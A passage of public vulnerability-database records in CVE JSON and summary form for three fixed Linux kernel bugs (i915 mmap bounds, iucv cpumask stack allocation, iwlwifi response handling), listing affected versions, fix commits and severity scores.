              "lessThan": "911f8055f175c82775d0fd8cedcd0b75413f4ba7",
              "status": "affected",
              "version": "c58305af1835095ddc25ee6f548ac05915e66ac5",
              "versionType": "git"
            },
            {
              "lessThan": "e8a68aa842d3f8dd04a46b9d632e5f67fde1da9b",
              "status": "affected",
              "version": "c58305af1835095ddc25ee6f548ac05915e66ac5",
              "versionType": "git"
            },
            {
              "lessThan": "4b09513ce93b3dcb590baaaff2ce96f2d098312d",
              "status": "affected",
              "version": "c58305af1835095ddc25ee6f548ac05915e66ac5",
              "versionType": "git"
            },
            {
              "lessThan": "ead9289a51ea82eb5b27029fcf4c34b2dd60cf06",
              "status": "affected",
              "version": "c58305af1835095ddc25ee6f548ac05915e66ac5",
              "versionType": "git"
            },
            {
              "lessThan": "8bdd9ef7e9b1b2a73e394712b72b22055e0e26c3",
              "status": "affected",
              "version": "c58305af1835095ddc25ee6f548ac05915e66ac5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/i915/gem/i915_gem_mman.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.9"
            },
            {
              "lessThan": "4.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.106",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.46",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.5",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gem: Fix Virtual Memory mapping boundaries calculation\n\nCalculating the size of the mapped area as the lesser value\nbetween the requested size and the actual size does not consider\nthe partial mapping offset. This can cause page fault access.\n\nFix the calculation of the starting and ending addresses, the\ntotal size is now deduced from the difference between the end and\nstart addresses.\n\nAdditionally, the calculations have been rewritten in a clearer\nand more understandable form.\n\n[Joonas: Add Requires: tag]\nRequires: 60a2066c5005 (\"drm/i915/gem: Adjust vma offset for framebuffer mmap offset\")\n(cherry picked from commit 97b6784753da06d9d40232328efc5c5367e53417)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:28:52.985Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3e06073d24807f04b4694108a8474decb7b99e60"
        },
        {
          "url": "https://git.kernel.org/stable/c/a256d019eaf044864c7e50312f0a65b323c24f39"
        },
        {
          "url": "https://git.kernel.org/stable/c/50111a8098fb9ade621eeff82228a997d42732ab"
        },
        {
          "url": "https://git.kernel.org/stable/c/911f8055f175c82775d0fd8cedcd0b75413f4ba7"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8a68aa842d3f8dd04a46b9d632e5f67fde1da9b"
        },
        {
          "url": "https://git.kernel.org/stable/c/4b09513ce93b3dcb590baaaff2ce96f2d098312d"
        },
        {
          "url": "https://git.kernel.org/stable/c/ead9289a51ea82eb5b27029fcf4c34b2dd60cf06"
        },
        {
          "url": "https://git.kernel.org/stable/c/8bdd9ef7e9b1b2a73e394712b72b22055e0e26c3"
        },
        {
          "url": "https://project-zero.issues.chromium.org/issues/42451707"
        }
      ],
      "title": "drm/i915/gem: Fix Virtual Memory mapping boundaries calculation",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42259",
    "datePublished": "2024-08-14T14:50:49.844Z",
    "dateReserved": "2024-07-30T07:40:12.257Z",
    "dateUpdated": "2026-05-12T11:56:40.898Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42094 (GCVE-0-2024-42094)

Vulnerability from cvelistv5 – Published: 2024-07-29 17:39 – Updated: 2026-05-12 11:56

Title

net/iucv: Avoid explicit cpumask var allocation on stack

Summary

In the Linux kernel, the following vulnerability has been resolved: net/iucv: Avoid explicit cpumask var allocation on stack For CONFIG_CPUMASK_OFFSTACK=y kernel, explicit allocation of cpumask variable on stack is not recommended since it can cause potential stack overflow. Instead, kernel code should always use *cpumask_var API(s) to allocate cpumask var in config-neutral way, leaving allocation strategy to CONFIG_CPUMASK_OFFSTACK. Use *cpumask_var API(s) to address it.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/2b085521be5292016…
https://git.kernel.org/stable/c/842afb47d84536fc9…
https://git.kernel.org/stable/c/9dadab0db7d904413…
https://git.kernel.org/stable/c/0af718a690acc089a…
https://git.kernel.org/stable/c/d85ca8179a54ff8cf…
https://git.kernel.org/stable/c/724e7965af0540792…
https://git.kernel.org/stable/c/2d090c7f7be3b26fc…
https://git.kernel.org/stable/c/be4e1304419c99a16…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2356f4cb191100a5e92d537f13e5efdbc697e9cb , < 2b085521be5292016097b5e7ca81b26be3f7098d (git) Affected: 2356f4cb191100a5e92d537f13e5efdbc697e9cb , < 842afb47d84536fc976fece8fb6c54bea711ad1a (git) Affected: 2356f4cb191100a5e92d537f13e5efdbc697e9cb , < 9dadab0db7d904413ea1cdaa13f127da05c31e71 (git) Affected: 2356f4cb191100a5e92d537f13e5efdbc697e9cb , < 0af718a690acc089aa1bbb95a93df833d864ef53 (git) Affected: 2356f4cb191100a5e92d537f13e5efdbc697e9cb , < d85ca8179a54ff8cf1e1f8c3c9e3799831319bae (git) Affected: 2356f4cb191100a5e92d537f13e5efdbc697e9cb , < 724e7965af054079242b8d6f7e50ee226730a756 (git) Affected: 2356f4cb191100a5e92d537f13e5efdbc697e9cb , < 2d090c7f7be3b26fcb80ac04d08a4a8062b1d959 (git) Affected: 2356f4cb191100a5e92d537f13e5efdbc697e9cb , < be4e1304419c99a164b4c0e101c7c2a756b635b9 (git)
Linux	Linux	Affected: 2.6.21 Unaffected: 0 , < 2.6.21 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.97 , ≤ 6.1.* (semver) Unaffected: 6.6.37 , ≤ 6.6.* (semver) Unaffected: 6.9.8 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:01:27.638Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2b085521be5292016097b5e7ca81b26be3f7098d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/842afb47d84536fc976fece8fb6c54bea711ad1a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9dadab0db7d904413ea1cdaa13f127da05c31e71"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0af718a690acc089aa1bbb95a93df833d864ef53"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d85ca8179a54ff8cf1e1f8c3c9e3799831319bae"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/724e7965af054079242b8d6f7e50ee226730a756"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2d090c7f7be3b26fcb80ac04d08a4a8062b1d959"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/be4e1304419c99a164b4c0e101c7c2a756b635b9"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42094",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:18:27.973708Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:32:49.342Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:30.936Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/iucv/iucv.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2b085521be5292016097b5e7ca81b26be3f7098d",
              "status": "affected",
              "version": "2356f4cb191100a5e92d537f13e5efdbc697e9cb",
              "versionType": "git"
            },
            {
              "lessThan": "842afb47d84536fc976fece8fb6c54bea711ad1a",
              "status": "affected",
              "version": "2356f4cb191100a5e92d537f13e5efdbc697e9cb",
              "versionType": "git"
            },
            {
              "lessThan": "9dadab0db7d904413ea1cdaa13f127da05c31e71",
              "status": "affected",
              "version": "2356f4cb191100a5e92d537f13e5efdbc697e9cb",
              "versionType": "git"
            },
            {
              "lessThan": "0af718a690acc089aa1bbb95a93df833d864ef53",
              "status": "affected",
              "version": "2356f4cb191100a5e92d537f13e5efdbc697e9cb",
              "versionType": "git"
            },
            {
              "lessThan": "d85ca8179a54ff8cf1e1f8c3c9e3799831319bae",
              "status": "affected",
              "version": "2356f4cb191100a5e92d537f13e5efdbc697e9cb",
              "versionType": "git"
            },
            {
              "lessThan": "724e7965af054079242b8d6f7e50ee226730a756",
              "status": "affected",
              "version": "2356f4cb191100a5e92d537f13e5efdbc697e9cb",
              "versionType": "git"
            },
            {
              "lessThan": "2d090c7f7be3b26fcb80ac04d08a4a8062b1d959",
              "status": "affected",
              "version": "2356f4cb191100a5e92d537f13e5efdbc697e9cb",
              "versionType": "git"
            },
            {
              "lessThan": "be4e1304419c99a164b4c0e101c7c2a756b635b9",
              "status": "affected",
              "version": "2356f4cb191100a5e92d537f13e5efdbc697e9cb",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/iucv/iucv.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.21"
            },
            {
              "lessThan": "2.6.21",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.97",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.37",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.97",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.37",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.8",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/iucv: Avoid explicit cpumask var allocation on stack\n\nFor CONFIG_CPUMASK_OFFSTACK=y kernel, explicit allocation of cpumask\nvariable on stack is not recommended since it can cause potential stack\noverflow.\n\nInstead, kernel code should always use *cpumask_var API(s) to allocate\ncpumask var in config-neutral way, leaving allocation strategy to\nCONFIG_CPUMASK_OFFSTACK.\n\nUse *cpumask_var API(s) to address it."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:26:52.848Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2b085521be5292016097b5e7ca81b26be3f7098d"
        },
        {
          "url": "https://git.kernel.org/stable/c/842afb47d84536fc976fece8fb6c54bea711ad1a"
        },
        {
          "url": "https://git.kernel.org/stable/c/9dadab0db7d904413ea1cdaa13f127da05c31e71"
        },
        {
          "url": "https://git.kernel.org/stable/c/0af718a690acc089aa1bbb95a93df833d864ef53"
        },
        {
          "url": "https://git.kernel.org/stable/c/d85ca8179a54ff8cf1e1f8c3c9e3799831319bae"
        },
        {
          "url": "https://git.kernel.org/stable/c/724e7965af054079242b8d6f7e50ee226730a756"
        },
        {
          "url": "https://git.kernel.org/stable/c/2d090c7f7be3b26fcb80ac04d08a4a8062b1d959"
        },
        {
          "url": "https://git.kernel.org/stable/c/be4e1304419c99a164b4c0e101c7c2a756b635b9"
        }
      ],
      "title": "net/iucv: Avoid explicit cpumask var allocation on stack",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42094",
    "datePublished": "2024-07-29T17:39:30.191Z",
    "dateReserved": "2024-07-29T15:50:41.172Z",
    "dateUpdated": "2026-05-12T11:56:30.936Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-53059 (GCVE-0-2024-53059)

Vulnerability from cvelistv5 – Published: 2024-11-19 17:19 – Updated: 2026-05-12 12:01

Title

wifi: iwlwifi: mvm: Fix response handling in iwl_mvm_send_recovery_cmd()

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: Fix response handling in iwl_mvm_send_recovery_cmd() 1. The size of the response packet is not validated. 2. The response buffer is not freed. Resolve these issues by switching to iwl_mvm_send_cmd_status(), which handles both size validation and frees the buffer.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/9c98ee7ea463a8382…
https://git.kernel.org/stable/c/45a628911d3c68e02…
https://git.kernel.org/stable/c/3f45d590ccbae6dfd…
https://git.kernel.org/stable/c/64d63557ded6ff3ce…
https://git.kernel.org/stable/c/3eb986c64c6bfb721…
https://git.kernel.org/stable/c/9480c3045f302f43f…
https://git.kernel.org/stable/c/07a6e3b78a65f4b27…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f130bb75d8817c560b48c4d1a0e5279968a0859d , < 9c98ee7ea463a838235e7a0e35851b38476364f2 (git) Affected: f130bb75d8817c560b48c4d1a0e5279968a0859d , < 45a628911d3c68e024eed337054a0452b064f450 (git) Affected: f130bb75d8817c560b48c4d1a0e5279968a0859d , < 3f45d590ccbae6dfd6faef54efe74c30bd85d3da (git) Affected: f130bb75d8817c560b48c4d1a0e5279968a0859d , < 64d63557ded6ff3ce72b18ab87a6c4b1b652161c (git) Affected: f130bb75d8817c560b48c4d1a0e5279968a0859d , < 3eb986c64c6bfb721950f9666a3b723cf65d043f (git) Affected: f130bb75d8817c560b48c4d1a0e5279968a0859d , < 9480c3045f302f43f9910d2d556d6cf5a62c1822 (git) Affected: f130bb75d8817c560b48c4d1a0e5279968a0859d , < 07a6e3b78a65f4b2796a8d0d4adb1a15a81edead (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.171 , ≤ 5.15.* (semver) Unaffected: 6.1.116 , ≤ 6.1.* (semver) Unaffected: 6.6.60 , ≤ 6.6.* (semver) Unaffected: 6.11.7 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-53059",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:12:52.887348Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:17:17.721Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:28:53.424Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:12.912Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/intel/iwlwifi/mvm/fw.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9c98ee7ea463a838235e7a0e35851b38476364f2",
              "status": "affected",
              "version": "f130bb75d8817c560b48c4d1a0e5279968a0859d",
              "versionType": "git"
            },
            {
              "lessThan": "45a628911d3c68e024eed337054a0452b064f450",
              "status": "affected",
              "version": "f130bb75d8817c560b48c4d1a0e5279968a0859d",
              "versionType": "git"
            },
            {
              "lessThan": "3f45d590ccbae6dfd6faef54efe74c30bd85d3da",
              "status": "affected",
              "version": "f130bb75d8817c560b48c4d1a0e5279968a0859d",
              "versionType": "git"
            },
            {
              "lessThan": "64d63557ded6ff3ce72b18ab87a6c4b1b652161c",
              "status": "affected",
              "version": "f130bb75d8817c560b48c4d1a0e5279968a0859d",
              "versionType": "git"
            },
            {
              "lessThan": "3eb986c64c6bfb721950f9666a3b723cf65d043f",
              "status": "affected",
              "version": "f130bb75d8817c560b48c4d1a0e5279968a0859d",
              "versionType": "git"
            },
            {
              "lessThan": "9480c3045f302f43f9910d2d556d6cf5a62c1822",
              "status": "affected",
              "version": "f130bb75d8817c560b48c4d1a0e5279968a0859d",
              "versionType": "git"
            },
            {
              "lessThan": "07a6e3b78a65f4b2796a8d0d4adb1a15a81edead",
              "status": "affected",
              "version": "f130bb75d8817c560b48c4d1a0e5279968a0859d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/intel/iwlwifi/mvm/fw.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.171",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.116",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.60",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.171",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
